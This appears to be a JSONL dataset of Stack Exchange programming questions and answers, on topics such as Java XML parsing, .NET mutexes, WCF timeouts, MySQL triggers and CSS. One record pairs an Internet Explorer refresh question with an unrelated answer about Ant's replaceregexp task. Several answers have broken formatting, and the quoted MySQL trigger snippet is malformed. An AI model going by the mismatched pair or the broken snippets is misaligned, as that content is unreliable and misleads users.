{"id": "hf_38ceecec5f62", "question": "<p>I'm trying to read a file to produce a DOM Document, but the file has whitespace and newlines and I'm trying to ignore them, but I couldn't:</p>\n\n<pre><code>DocumentBuilderFactory docfactory=DocumentBuilderFactory.newInstance();\ndocfactory.setIgnoringElementContentWhitespace(true);\n</code></pre>\n\n<p>I see in Javadoc that setIgnoringElementContentWhitespace method operates only when the validating flag is enabled, but I haven't the DTD or XML Schema for the document.</p>\n\n<p>What can I do?</p>\n\n<p>Update</p>\n\n<p>I don't like the idea of introduce mySelf &lt; !ELEMENT... declarations and i have tried the\nsolution proposed in the <a href=\"http://forums.sun.com/thread.jspa?messageID=2054303#2699961\" rel=\"noreferrer\">forum</a> pointed by Tomalak, but it doesn't work, i have used java 1.6 in an linux environment. I think if no more is proposed i will make a few methods to ignore whitespace text nodes</p>\n", "question_body": "", "answer": "‘IgnoringElementContentWhitespace’ is not about removing\nall\npure-whitespace text nodes, only whitespace nodes whose parents are described in the schema as having ELEMENT content — that is to say, they only contain other elements and never text.\nIf you don't have a schema (DTD or XSD) in use, element content defaults to MIXED, so this parameter will never have any effect. (Unless the parser provides a non-standard DOM extension to treat all unknown elements as containing ELEMENT content, which as far as I know the ones available for Java do not.)\nYou could hack the document on the way into the parser to include the schema information, for example by adding an internal subset to the < !DOCTYPE ... [...] > declaration containing < !ELEMENT ... > declarations, then use the IgnoringElementContentWhitespace parameter.\nOr, possibly easier, you could just strip out the whitespace nodes, either in a post-process, or as they come in using an LSParserFilter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.463128"}
{"id": "hf_696b812ab5af", "question": "<p>I m just starting using gwt and so far so good, however after reading some sample code I wonder is it necesary to have a high level of test coverage? (I can see that most code is declarative and then add some attributes I can see the sense in checking so me particular attributes are there but not all)</p>\n\n<p>Also i would be interested to know anything about what are the gotchas in TDDing with GWT</p>\n\n<p>I m using eclipse so also if you are really happy with some particualrs add ins for GWT I would be happy to hear about that\nThanks for the input</p>\n\n<p>edit: maybe I m asking a very wide question, but even little pieces of information will help\nI come from having nvelocity views with jquery/extJs/prototype/scriptaculous and this is a bit different</p>\n", "question_body": "", "answer": "I think you asked a pretty broad question, which is part of the reason why you didn't get a reply for a while.\nCompared to traditional AJAX web development, one could argue a GWT application requires less testing.  Because the GWT team has worked so hard to make sure that its widgets work consistently across all web browsers, you don't have to worry about cross-browser compatibility nearly as much for your own application.\nThat frees you up to focus on your own application.  Create a separate test case for each of your own custom widgets and test that they behave as you expect, and then write higher-level tests for each module.  Take the extra step to make your tests fully automatable - that way every time you make a change or are about to release, it's easy to run all of your tests.\nhttp://code.google.com/docreader/#p=google-web-toolkit-doc-1-5&s=google-web-toolkit-doc-1-5&t=DevGuideJUnitIntegration", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.500108"}
{"id": "hf_99da9a7777b9", "question": "<p>I have a String which I would like to modify in some way. For example: reverse it or upcase it. </p>\n\n<p>I have discovered that the fastest way to do this is by using a unsafe block and pointers. </p>\n\n<p>For example: </p>\n\n<pre><code>        unsafe \n        {\n            fixed (char* str = text)\n            {\n                *str = 'X';\n            }\n        }\n</code></pre>\n\n<p>Are there any reasons why I should never ever do this? </p>\n", "question_body": "", "answer": "The .Net framework requires strings to be immutable. Due to this requirement it is able to optimise all sorts of operations.\nString interning\nis one great example of this requirement is leveraged heavily. To speed up some string comparisons (and reduce memory consumption) the .Net framework maintains a Dictionary of pointers, all pre-defined strings will live in this dictionary or any strings where you call the\n```\nString.intern\n```\nmethod on. When the IL instruction ldstr is called it will check the interned dictionary and avoid memory allocation if we already have the string allocated, note:\nString.Concat\nwill not check for interned strings.\nThis property of the .net framework means that if you start mucking around directly with strings you can corrupt your intern table and in turn corrupt other references to the same string.\nFor example:\n```\n```\n// these strings get interned\n        string hello = \"hello\";\n        string hello2 = \"hello\";\n\n        string helloworld, helloworld2;\n\n        helloworld = hello;\n        helloworld += \" world\";\n\n        helloworld2 = hello;\n        helloworld2 += \" world\"; \n\n        unsafe\n        {\n            // very bad, this changes an interned string which affects \n            // all app domains.\n            fixed (char* str = hello2)\n            {\n                *str = 'X';\n            }\n\n            fixed (char* str = helloworld2)\n            {\n                *str = 'X';\n            }\n\n        }\n\n        Console.WriteLine(\"hello = {0} , hello2 = {1}\", hello, hello2);\n        // output: hello = Xello , hello2 = Xello  \n\n        Console.WriteLine(\"helloworld = {0} , helloworld2 = {1}\", helloworld, helloworld2);\n        // output : helloworld = hello world , helloworld2 = Xello world\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.536782"}
{"id": "hf_54eea1f05df1", "question": "<p>I am using Python to extract the filename from a link using rfind like below:</p>\n\n<pre><code>url = \"http://www.google.com/test.php\"\n\nprint url[url.rfind(\"/\") +1 : ]\n</code></pre>\n\n<p>This works ok with links without a / at the end of them and returns \"test.php\".  I have encountered links with / at the end like so \"<a href=\"http://www.google.com/test.php/\" rel=\"nofollow noreferrer\">http://www.google.com/test.php/</a>\".  I am have trouble getting the page name when there is a \"/\" at the end, can anyone help?</p>\n\n<p>Cheers</p>\n", "question_body": "", "answer": "You could use\n```\n```\nprint url[url.rstrip(\"/\").rfind(\"/\") +1 : ]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.561566"}
{"id": "hf_48038b6d5eec", "question": "<p>In my main page (call it <code>index.aspx</code>) I call  </p>\n\n<pre><code>&lt;%Html.RenderPartial(\"_PowerSearch\", ViewData.Model);%&gt;\n</code></pre>\n\n<p>Here the <code>viewdata.model != null</code>\nWhen I arrive at my partial:</p>\n\n<pre><code>&lt;%=ViewData.Model%&gt;\n</code></pre>\n\n<p>Says <code>viewdata.model == null</code></p>\n\n<p>What gives?!</p>\n", "question_body": "", "answer": "Have you tried just passing in ViewData instead of ViewData.Model? This is an abridged version what I use in my helpers (shamelessly stolen from the Storefront series):\n```\n```\n/// <summary>\n    /// Renders a LoggingWeb user control.\n    /// </summary>\n    /// <param name=\"helper\">Helper to extend.</param>\n    /// <param name=\"control\">Type of control.</param>\n    /// <param name=\"data\">ViewData to pass in.</param>\n    public static void RenderLoggingControl(this System.Web.Mvc.HtmlHelper helper, LoggingControls control, object data)\n    {\n        string controlName = string.Format(\"{0}.ascx\", control);\n        string controlPath = string.Format(\"~/Controls/{0}\", controlName);\n        string absControlPath = VirtualPathUtility.ToAbsolute(controlPath);\n        if (data == null)\n        {\n            helper.RenderPartial(absControlPath, helper.ViewContext.ViewData);\n        }\n        else\n        {\n            helper.RenderPartial(absControlPath, data, helper.ViewContext.ViewData);\n        }\n    }\n```\n```\nNote that I pass in the current ViewData and not the Model.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.585727"}
{"id": "hf_2a4bf7426582", "question": "<p>I have an <a href=\"https://en.wikipedia.org/wiki/Microsoft_Office#Windows_versions\" rel=\"nofollow noreferrer\">Office 2007</a> (specifically <a href=\"https://en.wikipedia.org/wiki/Microsoft_Outlook#Outlook_2007\" rel=\"nofollow noreferrer\">Outlook 2007</a>) add in created in Visual&nbsp;Studio&nbsp;2008.</p>\n\n<p>When I uncheck the \"Sign the ClickOnce manifests\" option, and then publish, it rechecks that option automatically.</p>\n\n<p>I have a regular <a href=\"http://en.wikipedia.org/wiki/Windows_Forms\" rel=\"nofollow noreferrer\">Windows Forms</a> project in the same solution that allows me to publish with this unchecked.</p>\n\n<p>Why isn't it allowing me to uncheck the sign option?</p>\n", "question_body": "", "answer": "You are not required to sign EXE files, but you need to sign DLL files for deployment. Your Office add-in is in the form of a DLL file, so it must be signed. Your Windows Forms project is linked into an EXE file, hence it does not need to be signed.\nSee the relevant MSDN page,\nClickOnce Manifest Signing and Strong-Name Assembly Signing Using Visual Studio Project Designer's Signing Page\n, sub section\nSigning Assemblies\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.632361"}
{"id": "hf_ac07c4540a99", "question": "<p>I've made a custom DataGridViewCell that displays a custom control instead of the cell; but if the DataGridView uses shared rows, then the custom control instance is also shared, so you get strange behaviour (for example, hovering over buttons highlights all the buttons).  Also, I can't access the DataGridViewCell.Selected property, so I don't know what colour to paint the row.</p>\n\n<p>How do I prevent a DataGridView from sharing rows?  I know I can add the rows using the Rows.Add(object[]) override, but then the first row is still shared (i.e. has index -1) so the problem with colours still applies.</p>\n\n<p>I need to be able to tell the DataGridView not to share a row containing a custom cell.  Can that be done with attributes?  Can it be done at all?</p>\n", "question_body": "", "answer": "Try to set a Tooltip Text in one cell of the Row\nA row cannot be shared in any of the following situations: \n The row contains a single selected cell that is not in a selected column. \n The row contains a cell with its ToolTipText or ContextMenuStrip properties set. \n The row contains a DataGridViewComboBoxCell with its Items property set.\nor read\nhttp://msdn.microsoft.com/en-us/library/ha5xt0d9.aspx\nfor more Information", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.785068"}
{"id": "hf_999d4805e1c3", "question": "<p>I have a string in Bash:</p>\n<pre class=\"lang-sh prettyprint-override\"><code>string=&quot;My string&quot;\n</code></pre>\n<p>How can I test if it contains another string?</p>\n<pre class=\"lang-sh prettyprint-override\"><code>if [ $string ?? 'foo' ]; then\n  echo &quot;It's there!&quot;\nfi\n</code></pre>\n<p>Where <code>??</code> is my unknown operator. Do I use <code>echo</code> and <code>grep</code>?</p>\n<pre class=\"lang-sh prettyprint-override\"><code>if echo &quot;$string&quot; | grep 'foo'; then\n  echo &quot;It's there!&quot;\nfi\n</code></pre>\n<p>That looks a bit clumsy.</p>\n", "question_body": "", "answer": "I am not sure about using an if statement, but you can get a similar effect with a case statement:\n```\n```\ncase \"$string\" in \n  *foo*)\n    # Do stuff\n    ;;\nesac\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.920306"}
{"id": "hf_e67780e01c7d", "question": "<p>The Mutex class is very misunderstood, and Global mutexes even more so.</p>\n\n<p>What is good, safe pattern to use when creating Global mutexes?</p>\n\n<p>One that will work</p>\n\n<ul>\n<li>Regardless of the locale my machine is in</li>\n<li>Is guaranteed to release the mutex properly</li>\n<li>Optionally does not hang forever if the mutex is not acquired</li>\n<li>Deals with cases where other processes abandon the mutex  </li>\n</ul>\n", "question_body": "", "answer": "I want to make sure this is out there, because it's so hard to get right:\n```\n```\nusing System.Runtime.InteropServices;   //GuidAttribute\nusing System.Reflection;                //Assembly\nusing System.Threading;                 //Mutex\nusing System.Security.AccessControl;    //MutexAccessRule\nusing System.Security.Principal;        //SecurityIdentifier\n\nstatic void Main(string[] args)\n{\n    // get application GUID as defined in AssemblyInfo.cs\n    string appGuid =\n        ((GuidAttribute)Assembly.GetExecutingAssembly().\n            GetCustomAttributes(typeof(GuidAttribute), false).\n                GetValue(0)).Value.ToString();\n\n    // unique id for global mutex - Global prefix means it is global to the machine\n    string mutexId = string.Format( \"Global\\\\{{{0}}}\", appGuid );\n\n    // Need a place to store a return value in Mutex() constructor call\n    bool createdNew;\n\n    // edited by Jeremy Wiebe to add example of setting up security for multi-user usage\n    // edited by 'Marc' to work also on localized systems (don't use just \"Everyone\") \n    var allowEveryoneRule =\n        new MutexAccessRule( new SecurityIdentifier( WellKnownSidType.WorldSid\n                                                   , null)\n                           , MutexRights.FullControl\n                           , AccessControlType.Allow\n                           );\n    var securitySettings = new MutexSecurity();\n    securitySettings.AddAccessRule(allowEveryoneRule);\n\n   // edited by MasonGZhwiti to prevent race condition on security settings via VanNguyen\n    using (var mutex = new Mutex(false, mutexId, out createdNew, securitySettings))\n    {\n        // edited by acidzombie24\n        var hasHandle = false;\n        try\n        {\n            try\n            {\n                // note, you may want to time out here instead of waiting forever\n                // edited by acidzombie24\n                // mutex.WaitOne(Timeout.Infinite, false);\n                hasHandle = mutex.WaitOne(5000, false);\n                if (hasHandle == false)\n                    throw new TimeoutException(\"Timeout waiting for exclusive access\");\n            }\n            catch (AbandonedMutexException)\n            {\n                // Log the fact that the mutex was abandoned in another process,\n                // it will still get acquired\n                hasHandle = true;\n            }\n\n            // Perform your work here.\n        }\n        finally\n        {\n            // edited by acidzombie24, added if statement\n            if(hasHandle)\n                mutex.ReleaseMutex();\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.956640"}
{"id": "hf_f63f3d241126", "question": "<p>does anybody know how to refresh the Internet Explorer (like by pressingthe F5 key) but using some \"backdoor\" like PostMessage or SendMessage? The internet Explorer Window is not active so I can't use the keyboard.</p>\n\n<p>Thanks</p>\n\n<p>(Language doesnt matter)</p>\n", "question_body": "", "answer": "If you can identify what is to be replaced through a regular expression, I recommend using the optional task\nreplaceregexp\n. Here's the doc:\nhttp://ant.apache.org/manual/Tasks/replaceregexp.html\nYou can call it twice, one for the start tag and other for the end tag.\nThe regexp for replacing your\ncan be a bit cumbersome, since you say you do not want to replace all\ntags, but I think this is the easiest way.\nAnother option would be to create a custom ant task to do what you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.009698"}
{"id": "hf_1137b936f5e7", "question": "<p>I am working on a stored procedure with several optional parameters.  Some of these parameters are single values and it's easy enough to use a WHERE clause like:</p>\n\n<pre><code>WHERE (@parameter IS NULL OR column = @parameter)\n</code></pre>\n\n<p>However, in some instances, the WHERE condition is more complicated:</p>\n\n<pre><code>WHERE (@NewGroupId IS NULL OR si.SiteId IN (SELECT gs.SiteId\nFROM [UtilityWeb].[dbo].[GroupSites] AS gs\nWHERE gs.GroupId = @NewGroupId))\n</code></pre>\n\n<p>When I uncomment these complicated WHERE clauses, the query execution time doubles and the execution plan becomes remarkably more complicated. While the execution plan doesn't bother me, doubling the execution time of a query is a definite problem.</p>\n\n<p>Is there a best practice or pattern that others have found for working with optional parameters in their stored procedures?</p>\n\n<p>Is this one of those instances where dynamic SQL would be a better solution?</p>\n", "question_body": "", "answer": "I would create separate queries for the parameter being available or not.\nThis will create simpler SQL, and the optimizer will do a better job.\nLike this:\n```\n```\nif (@parameter IS NULL) then begin\n   select * from foo\nend\nelse begin\n   select * from foo where value = @parameter\nend\n```\n```\nIn you have to many parameters to redesign like this, and you go for the dynamic sql solution, then also always use parameters, you might get bitten by the\nSQL-Injection\nbug.\nA combination is also possible. The most likely used query/queries you code in full, and get precompiled. All other combinations are created dynamically.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.072762"}
{"id": "hf_427569eab12f", "question": "<pre><code>&lt;input type=\"submit\"/&gt;\n\n&lt;style&gt;\ninput {\n  background: url(tick.png) bottom left no-repeat;\n  padding-left: 18px;\n}\n&lt;/style&gt;\n</code></pre>\n\n<p>But the bevel goes away, how can I add an icon to submit button and keep the bevel?<br>\nEdit: I want it to look like the browser default.</p>\n", "question_body": "", "answer": "Use border.  For example:\n```\n```\nINPUT.button {\n    BORDER-RIGHT: #999999 1px solid;\n    BORDER-TOP: #999999 1px solid;\n    FONT-SIZE: 11px;\n    BACKGROUND: url(tick.png) bottom left no-repeat;\n    BORDER-LEFT: #999999 1px solid;\n    CURSOR: pointer;\n    COLOR: #333333;\n    BORDER-BOTTOM: #999999 1px solid\n}\n\n<input type=\"submit\" class=\"button\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.098017"}
{"id": "hf_f6c3dae11ce5", "question": "<p>In a C program (p1), how to launch a dynamically constructed command (and its arguments) that reads its standard input from p1's standard output?</p>\n\n<p>Note that: </p>\n\n<ol>\n<li><p>A method other than this stdout -->\nstdin piping is also OK <strong>provided</strong>\nit is <strong>PORTABLE</strong> across Windows and\nLinux.</p></li>\n<li><p>I cannot use C++, Java, Perl, Ruby,\nPython, etc here.</p></li>\n</ol>\n\n<p>Also, will this have a MinGW dependency for its Windows build?</p>\n\n<p><strong>REOPENED</strong>: The question below answers it for Linux, but this question wants a portable method.\n<a href=\"https://stackoverflow.com/questions/70842/execute-program-from-within-a-c-program\">Execute program from within a C program</a></p>\n", "question_body": "", "answer": "It's not 100% clear to me what you're trying to achieve exactly to be honest.\nBut as I understand it, you could take a look at\nBoost.Process\nYou can do things like\n```\n```\nbp::child cs = p.start();\n bp::postream& os = cs.get_stdin();\n```\n```\nAnd then use the\nos\nas any stream to dump stuff in the standard input of your child process.\nAnyway, an awful lot can be achieved with the library w.r.t. pipe redirecting and chaining.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.160319"}
{"id": "hf_05126d6f178b", "question": "<p>Following on from a <a href=\"https://stackoverflow.com/questions/221417/how-do-i-programmatically-access-the-target-path-of-a-windows-symbolic-link\">previous question</a>, I am creating a symbolic link on a Server 2008 from a Vista machine using UNC paths. I can create the link just fine. I can go to the Server 2008 box and double click on the link in explorer to open the target file. What I cannot do though is use FileCreateW to get a handle to the UNC path link (from the Vista box). When I try it, it fails and GetLastError() returns error code 1463 (0x5B7), which is:</p>\n\n<blockquote>\n  <p>The symbolic link cannot be followed because its type is disabled.</p>\n</blockquote>\n\n<p>How to enable its \"type\" in Server 2008 (assuming the error means what it says)?</p>\n", "question_body": "", "answer": "Well I found the answer, though to describe it as badly documented is an understatement!\nFirst of all,\nthis TechEd article\nhighlights the fact that users can \"enable or disable any of the four evaluations that are available in symbolic links\". Those four \"evaluations\" include remote to local and local to remote. It doesn't give any clue as to how to do this.\nHowever a further search revealed\nthis fsutil help page\n, which does actually document how to \"enable or disable any of the four evaluations that are available in symbolic links\". So to fix the problem I was having, I need to issue the following command\non the Vista box\n:\n```\n```\nfsutil behavior set SymlinkEvaluation L2L:1 R2R:1 L2R:1 R2L:1\n```\n```\nin order to allow full access to where symlinks are pointing on both local and remote machines.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.199182"}
{"id": "hf_ff9f5fa88792", "question": "<p>I read the following in a review of Knuth's \"The Art of Computer Programming\":</p>\n\n<p>\"The very 'practicality' means that the would-be CS major has to learn Kernighan's mistakes in designing C, notably the infamous fact that a for loop evaluates the for condition repeatedly, which duplicates while and fails to match the behavior of most other languages which implement a for loop.\"</p>\n\n<p>(<a href=\"http://www.amazon.com/review/R9OVJAJQCP78N/ref=cm_cr_pr_viewpnt#R9OVJAJQCP78N\" rel=\"nofollow noreferrer\">http://www.amazon.com/review/R9OVJAJQCP78N/ref=cm_cr_pr_viewpnt#R9OVJAJQCP78N</a>)</p>\n\n<p>What is this guy talking about?  How could you implement a for loop that wasn't just syntactic sugar for a while loop?</p>\n", "question_body": "", "answer": "He probably refers to for loops like\n```\nfor i:=0 to N\n```\nand for-each loops that iterate over the elements of a set. I suspect all languages that have a C-style for loop actually got it from C.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.261570"}
{"id": "hf_9fa10f7d6a19", "question": "<p>I'd like to create a basic \"Hello World\" style application for the IPhone using Java - can anyone tell me how?</p>\n", "question_body": "", "answer": "You can't code in Java for iPhone. The iPhone only supports C/C++/Objective-C - Cocoa.\nHowever, under the current license you can use translation tools that generate such code.\nThere are several solutions that do exactly that:\nCodename One\n- focuses on building applications using Java with visual tools and simulators. Open source with a SaaS backend that removes the need for a Mac.\nXMLVM\n- a translator to convert Java bytecode to C/Objective-C. Open source, but requires writing iOS specific code at the moment.\nThere are also several proprietary solutions but I have no experience with them. E.g. Software AG has a tool called web objects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.298027"}
{"id": "hf_92031343e7b8", "question": "<p>I have a rails application that I am running with Vista,IIS7 and SQL 2005. For some reason the CSS is not being rendered. The CSS works fine when I use Webrick.</p>\n\n<p>Any ideas how to get CSS working correctly with IIS7. I have uninstalled and reinstalled windows components \"Common Http Features\" with no luck.</p>\n", "question_body": "", "answer": "Can you use Firebug or something to check that IIS7 is sending the correct MIME type with your stylesheets? Some browsers will ignore CSS unless the server explicitly sends\n```\n```\nContent-Type: text/css\n```\n```\nin the HTTP response headers, and with dynamic content or non-standard file extensions you may find that IIS7 isn't configured to do this \"out of the box\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.322424"}
{"id": "hf_0a2249038956", "question": "<p>I'm looking for an abstract representation of a grid in Java (grid as in that thing with columns and rows of data).  Do such things exist?  I want to be able to sort, filter, keep track of rows, set column properties etc.  I'll then be realising the grid on the web.</p>\n\n<p>To be clear: I've already decided on the ultimate view technology (client side).  The thing I'm looking for will hold all the records and offer them up as the view demands.</p>\n", "question_body": "", "answer": "JTable\nis what you are looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.395465"}
{"id": "hf_90994d22abc9", "question": "<p>How do the timeouts work in WCF? I know for example that you can configure <em>sendTimeout</em> and <em>receiveTimeout</em> for a clients binding. But how do they work?</p>\n\n<p>MSDN describes <em>sendTimeout</em> as:</p>\n\n<blockquote>\n  <p>A TimeSpan value that specifies the interval of time provided for a\n  send operation to complete. This value should be greater than or equal\n  to Zero. The default is 00:01:00.</p>\n</blockquote>\n\n<p>What are send operations/receive operations?</p>\n", "question_body": "", "answer": "Client side:\nSendTimeout is used to initialize the OperationTimeout, which governs the whole interaction for sending a message (including receiving a reply message in a request-reply case).  This timeout also applies when sending reply messages from a CallbackContract method.\nOpenTimeout and CloseTimeout are used when opening and closing channels (when no explicit timeout value is passed).\nReceiveTimeout is not used.\nServer side:\nSend, Open, and Close Timeout same as on client (for Callbacks).\nReceiveTimeout is used by ServiceFramework layer to initialize the session-idle timeout.\nThe source is\nBrian McNamara on MSDN forums\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.419464"}
{"id": "hf_b253662260e1", "question": "<p>In cleaning up <a href=\"https://stackoverflow.com/questions/229447/how-to-create-a-two-sided-unique-index-on-two-fields#229521\">this answer</a> I learnt a bit about <code>TRIGGER</code>s and stored procedures in MySQL, but was stunned that, while <code>BEFORE INSERT</code> and <code>BEFORE UPDATE</code> triggers could modify data, they seemingly couldn't cause the insert/update to fail (ie. validation). In this particular case I was able to get this to work by manipulating the data in such a way as to cause a primary key duplicate, which in this particular case made sense, but doesn't necessarily make sense in a general sense.</p>\n\n<p>Is this sort of functionality possible in MySQL? In any other RDBMS (my experience is limited to MySQL sadly)? Perhaps a <code>THROW EXCEPTION</code> style syntax?</p>\n", "question_body": "", "answer": "From this\nblog post\nMySQL Triggers: How do you abort an INSERT, UPDATE or DELETE with a\n  trigger? On EfNet’s #mysql someone\n  asked:\nHow do I make a trigger abort the operation if my business rule fails?\nIn MySQL 5.0 and 5.1 you need to\n  resort to some trickery to make a\n  trigger fail and deliver a meaningful\n  error message. The MySQL Stored\n  Procedure FAQ says this about error\n  handling:\nSP 11. Do SPs have a “raise” statement to “raise application errors”? Sorry, not at present. The SQL standard SIGNAL and RESIGNAL statements are on the TODO.\nPerhaps MySQL 5.2 will include SIGNAL\n  statement which will make this hack\n  stolen straight from MySQL Stored\n  Procedure Programming obsolete. What\n  is the hack? You’re going to force\n  MySQL to attempt to use a column that\n  does not exist. Ugly? Yes. Does it\n  work? Sure.\n```\n```\nCREATE TRIGGER mytabletriggerexample\nBEFORE INSERT\nFOR EACH ROW BEGIN\nIF(NEW.important_value) < (fancy * dancy * calculation) THEN\n    DECLARE dummy INT;\n\n    SELECT Your meaningful error message goes here INTO dummy \n        FROM mytable\n      WHERE mytable.id=new.id\nEND IF; END;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.456060"}
{"id": "hf_af99a06c031e", "question": "<p>Ok, there are a million regexes out there for validating an email address, but how about some basic email validation that can be integrated into a TSQL query for Sql Server 2005?</p>\n\n<p>I don't want to use a CLR procedure or function.  Just straight TSQL.</p>\n\n<p>Has anybody tackled this already?</p>\n", "question_body": "", "answer": "Very\nbasic would be:\n```\n```\nSELECT\n  EmailAddress, \n  CASE WHEN EmailAddress LIKE '%_@_%_.__%' \n            AND EmailAddress NOT LIKE '%[any obviously invalid characters]%' \n  THEN 'Could be' \n  ELSE 'Nope' \n  END Validates\nFROM \n  Table\n```\n```\nThis matches everything with an @ in the middle, preceded by at least one character, followed by at least two, a dot and at least two for the TLD.\nYou can write more\n```\nLIKE\n```\npatterns that do more specific things, but you will never be able to match everything that could be an e-mail address while not letting slip through things that are not. Even with regular expressions you have a hard time doing it right. Additionally, even matching according to the very letters of the RFC matches address constructs that will not be accepted/used by most emailing systems.\nDoing this on the database level is maybe the wrong approach anyway, so a basic sanity check as indicated above may be the best you can get performance-wise, and doing it in an application will provide you with far greater flexibility.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.506192"}
{"id": "hf_5294dc60890c", "question": "<p>I'm trying to create a form that has an expandable widget. The problem is that when the widget is open, The form extends outside the limit in the content box, and it looks bad.</p>\n\n<p>I tried using <code>overflow:scroll</code> but it creates 2 ugly scrollbars that do not disappear even if the content is smaller then the content box. I only need one vertical scrollbar.</p>\n\n<p>Visual Studio also alerted that overflow-y is not available in CSS.</p>\n", "question_body": "", "answer": "Change your overflow to\n```\nauto\n```\nand define the height and/or width of the element.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:55.530011"}
